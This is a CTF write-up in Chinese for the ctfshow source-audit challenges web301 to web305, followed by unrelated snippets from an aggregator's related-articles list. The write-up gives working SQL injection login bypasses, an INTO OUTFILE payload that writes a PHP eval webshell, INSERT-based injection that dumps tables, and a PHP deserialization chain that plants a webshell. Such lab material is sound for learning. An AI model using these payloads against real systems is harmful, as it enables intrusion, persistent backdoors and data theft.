ctfshow 源码审计 web301--web305

web301

在checklogin.php 发现了

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录

mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录

在这里插入图片描述然后我们就伪造了密码,就可以进行登录了

username:
-1' union select 1#
password:
1
sqlmap
python .\sqlmap.py -u "http://fddf2115-423b-4701-b77b-8ef5f2194ee7.challenge.ctf.show:8080/" --form --batch --dump
userid=a' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"%23&userpwd=1
然后访问shell.php再rce

web302

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
改变的地方
<?php
function sds_decode($str){return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>
这里$str随便命令,相应的把密码改了就行了
userid:
-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
userpass:
1

web303

在文件里面就看到了

if(strlen($username)>6){die();
}

然后就没看到啥了
也没看到

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
这里使用insert注入

在这里插入图片描述

在dptadd.php注入
dpt_name=-1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#dpt_name=-1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#dpt_name=-1',sds_address=(select flag from sds_fl9g)#

web304

function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);
}
正则过滤了这些东西,那么

做法与上题一样,没啥区别,不知道过滤的啥

web305

多了这一段

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){$user = unserialize($user_cookie);
}

而且还在fun.php里面多了

function sds_waf($str){if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){return false;}else{return true;}
}
?>

利用序列化写个小马

<?php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}
}
$a=new user('1.php','<?php eval($_POST[1]);?>');
echo urlencode(serialize($a));?>

在corn.php中发现远程SQL

$mysqluser="root";
$mysqlpwd="root";
$mysqldb="sds";
$mysqlhost="localhost";
$mysqlport="3306";

找了好久终于知道怎么用antsword链接数据库了,右击数据管理
在这里插入图片描述我还在这里写注入语句,我真傻逼
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/836725.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iOS 更改button文字和图片的位置

1.上代码&#xff1a; [self.selectAlbumButtonsetTitleEdgeInsets:UIEdgeInsetsMake(0, -36,0,0)]; [self.selectAlbumButtonsetImageEdgeInsets:UIEdgeInsetsMake(0,80,0,0)]; [self.selectCloudDiskButtonsetTitleEdgeInsets:UIEdgeInsetsMake(0, -36,0,0)]; [self.sele…

Springboot-配置文件中敏感信息的加密:三种加密保护方法比较

一. 背景 当我们将项目部署到服务器上时&#xff0c;一般会在jar包的同级目录下加上application.yml配置文件&#xff0c;这样可以在不重新换包的情况下修改配置。 一般会将数据库连接&#xff0c;Redis连接等放到配置文件中。 例如配置数据库连接&#xff1a; spring:serv…

排序-插入排序的优化--半插入排序

半插入排序&#xff08;有时也称为二分查找插入排序&#xff09;是对传统插入排序的一种优化。基本思想是在执行插入操作时&#xff0c;不是简单地从前向后遍历已排序序列来寻找插入位置&#xff0c;而是使用二分查找法来确定新元素的正确位置&#xff0c;从而减少比较次数&…

MSMQ消息队列

MQ是一种企业服务的消息中间节技术&#xff0c;这种技术常常伴随着企业服务总线相互使用&#xff0c;构成了企业分布式开发的一部分&#xff0c;如果考虑到消息的发送和传送之间是可以相互不联系的并且需要分布式架构&#xff0c;则可以考虑使用MQ做消息的中间价技术&#xff0…

Java高级开发2024高频面试提问题目

1、请先简单自我介绍一下自己&#xff1f;&#xff08;一般不超过5min&#xff09; 2、你最熟悉的项目是哪一个&#xff0c;讲一下用了哪些技术栈&#xff1f;&#xff08;尽量讲出系统架构图使用到的技术组件和为什么选型这个组件&#xff1f;&#xff09; 3、你项目中使用什…

如何给远程服务器配置代理

目录 前言 正文 更换镜像源 开始之前 安装过程 遇到的问题 尾声 &#x1f52d; Hi,I’m Pleasure1234&#x1f331; I’m currently learning Vue.js,SpringBoot,Computer Security and so on.&#x1f46f; I’m studying in University of Nottingham Ningbo China&#x1f4…

TFN CK1840B 喇叭天线 定向 18GHz~40GHz

沃比得 CK1840B 喇叭天线 定向 18GHz~40GHz 产品概述 沃比得 CK1840B喇叭天线工作频率为 18GHz~40GHz。具有频带宽&#xff0c; 性能可靠&#xff0c; 增益高等优 点&#xff0c; 是理想的 EMC 测试、电子对抗等领域的定向接收、发射天线。 应用领域 ● 电子对抗领域 ● EM…

NPDP考完后多久出结果?(内附查成绩流程)

NPDP全称为New Product Development Professional&#xff0c;也叫产品经理国际资格认证。为了获得NPDP认证&#xff0c;不少人都在报考NPDP考试&#xff0c;那么NPDP考试一般多长时间出成绩呢&#xff1f; NPDP考试成绩查询时间&#xff1a; 一般在考试结束后的4-6周左右进行…

IT服务台的演变趋势

在技术进步和用户期望变化的推动下&#xff0c;IT服务台正在经历重大变化。IT服务台的未来将主要受到以下趋势的推动&#xff1a; 先进的人工智能和认知技术 预计高级人工智能 &#xff08;AI&#xff09; 和认知技术在 IT 服务台中的集成度会更高。通过将 IT 服务台集成到 IT…

Matlab简介应用和绘制函数图像教程具体案例

MATLAB是由美国MathWorks公司出品的商业数学软件,其名称是matrix & laboratory两个词的组合,意为“矩阵工厂(或矩阵实验室)”。MATLAB主要用于算法开发、数据可视化、数据分析以及数值计算等领域,为科学研究、工程设计以及必须进行有效数值计算的众多科学领域提供了一…

PMC高手如何玩转跨部门协作?让团队和谐共生

PMC&#xff08;生产与物料控制&#xff09;作为连接生产与供应链的关键部门&#xff0c;其与其他部门之间的协作关系显得尤为重要。本文&#xff0c;深圳天行健精益管理咨询公司分享具体方法如下&#xff1a; 首先&#xff0c;PMC需要明确自己的角色定位。作为生产与供应链之间…

Ubuntu 系统中设置中文输入法

在 Ubuntu 系统中设置中文输入法&#xff0c;通常涉及以下几个步骤&#xff1a; 添加中文语言支持&#xff1a; 打开系统设置&#xff08;Settings&#xff09;&#xff0c;选择“Region & Language”。点击“Manage Installed Languages”&#xff0c;搜索并安装“Chinese…

Flutter不常用组件----IntrinsicHeight,IntrinsicWidth

终于有勇气做一些不常用组件的博文&#xff0c;最近行情不景气&#xff0c;大家的工作应当也是不少&#xff0c;笔者也是一样。之前筹备了好久想着做一些不常用的组件分享&#xff0c;一直没付诸于行动。现在打算开始慢慢做起来&#xff0c;各位粉丝如果有是一些使用场景代码繁…

Redis经典问题:数据并发竞争

大家好,我是小米!今天我们要聊的话题是在大流量系统中常见的一个问题:数据并发竞争。不管是火车票系统还是微博系统,一旦出现数据并发竞争,都可能导致用户体验下降,甚至系统崩溃。那么,我们该如何解决这个问题呢?让我们一起来深入探讨! 数据并发竞争 当我们谈论大流…

代码随想录:长度最小的子数组相关题目推荐(904、76)

904.水果成篮 题目 你正在探访一家农场&#xff0c;农场从左到右种植了一排果树。这些树用一个整数数组 fruits 表示&#xff0c;其中 fruits[i] 是第 i 棵树上的水果 种类 。 你想要尽可能多地收集水果。然而&#xff0c;农场的主人设定了一些严格的规矩&#xff0c;你必须…

三. TensorRT基础入门-ONNX注册算子的方法

目录 前言0. 简述1. 执行一下我们的python程序2.转换swin-tiny时候出现的不兼容op的例子3. 当出现导出onnx不成功的时候&#xff0c;我们需要考虑的事情4. unsupported asinh算子5. unsupported deformable conv算子总结参考 前言 自动驾驶之心推出的 《CUDA与TensorRT部署实战…

MR混合现实情景实训教学系统在室内设计课堂上的应用

MR混合现实情景实训教学系统在室内设计课堂上的应用可以带来许多积极的影响&#xff0c;包括提高学生的参与度、增强学生的实践技能、以及提供更真实和全面的学习体验。 首先&#xff0c;MR混合现实情景实训教学系统能够创建出一种沉浸式的环境&#xff0c;使学生能够直接接触到…

EmotiVoice 实时语音合成TTS

参考:https://github.com/netease-youdao/EmotiVoice 测试整体速度可以 docker安装: 运行容器:默认运行了两个服务,8501 一个streamlit页面,另外8000是一个api接口服务 docker run -dp 8501:8501 -p 8250:8000 syq163/emoti-voice:latest ##gpu运行 docker run --gpus a…

前端页面 贴边拖拽 盒子

vue 悬浮球(带自动吸附功能)_vue悬浮球-CSDN博客

windows内存管理-检查内存可用性

在驱动程序开发中&#xff0c;对内存的操作要格外小心。如果某段内存是只读的&#xff0c;而驱动程序试图去写操作&#xff0c;会导致系统的崩溃。同样&#xff0c;当某段内存是不可读的情况下&#xff0c;驱动程序试图去读&#xff0c;同样会导致系统的崩溃。 DDK提供了两个函…